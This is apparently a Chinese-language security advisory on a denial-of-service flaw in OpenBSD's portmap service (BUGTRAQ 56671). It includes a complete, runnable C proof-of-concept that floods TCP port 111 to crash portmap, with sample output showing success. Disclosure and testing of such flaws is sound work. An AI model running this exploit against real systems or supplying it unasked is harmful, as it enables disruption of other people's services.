发布日期：2012-11-22
更新日期：2012-11-28
受影响系统：
OpenBSD OpenBSD 5.2
OpenBSD OpenBSD 5.1
OpenBSD OpenBSD 4.6
OpenBSD OpenBSD 4.5
OpenBSD OpenBSD 4.4
OpenBSD OpenBSD 4.3
OpenBSD OpenBSD 4.2
OpenBSD OpenBSD 4.1
OpenBSD OpenBSD 4.0 Stable
描述：
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BUGTRAQ ID: 56671
OpenBSD是一款开源Unix类操作系统。
OpenBSD v5.2之前版本在处理多个RPC请求时存在错误，通过向TCP端口111发送特制的报文，可导致端口映射程序崩溃。TCP111端口在默认情况下未开启，要利用此漏洞需要启用端口映射。
<*来源：auto236751
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/*
* authors: 22733db72ab3ed94b5f8a1ffcde850251fe6f466
* 6e2d3d47576f746e9e65cb4d7f3aaa1519971189
* c8e74ebd8392fda4788179f9a02bb49337638e7b
*
* greetz: 43c86fd24bd63b100891ec4b861665e97230d6cf
* e4c0f3f28cf322779375b71f1c14d6f8308f789d
* 691cb088c45ec9e31823ca7ab0da8b4cf8079baf
* b234a149e7ef00abc0f2ec7e6cf535ef4872eabc
*
*
* -bash-4.2$ uname -a
* OpenBSD obsd.my.domain 5.1 GENERIC#160 i386
* -bash-4.2$ id
* uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
* -bash-4.2$ netstat -an -f inet | grep 111
* tcp 0 0 127.0.0.1.111 *.* LISTEN
* tcp 0 0 *.111 *.* LISTEN
* udp 0 0 127.0.0.1.111 *.*
* udp 0 0 *.111 *.*
* -bash-4.2$ gcc openbsd_libc_portmap.c
* -bash-4.2$ ./a.out
* [+] This code doesn't deserve 1337 status output.
* [+] Trying to crash portmap on 127.0.0.1:111
* [+] 127.0.0.1:111 is now down.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define HOST "127.0.0.1"
#define PORT 111
#define LOOP 0x100
int main(void)
{
int s, i;
struct sockaddr_in saddr;
printf("[+] This code doesn't deserve 1337 status output.\n");
printf("[+] Trying to crash portmap on %s:%d\n", HOST, PORT);
saddr.sin_family = AF_INET;
saddr.sin_port = htons(PORT);
saddr.sin_addr.s_addr = inet_addr(HOST);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1) {
printf("[-] %s:%d is already down.\n", HOST, PORT);
return EXIT_FAILURE;
}
/* # of iteration needed varies but starts working for > 0x30 */
for(i=0; i < LOOP; ++i) {
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in));
send(s, "8========@", 10, 0);
}
if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1)
printf("[+] %s:%d is now down.\n", HOST, PORT);
else
printf("[-] %s:%d is still listening. Try to increase loop iterations...\n");
return EXIT_SUCCESS;
}
建议：
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厂商补丁：
OpenBSD
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：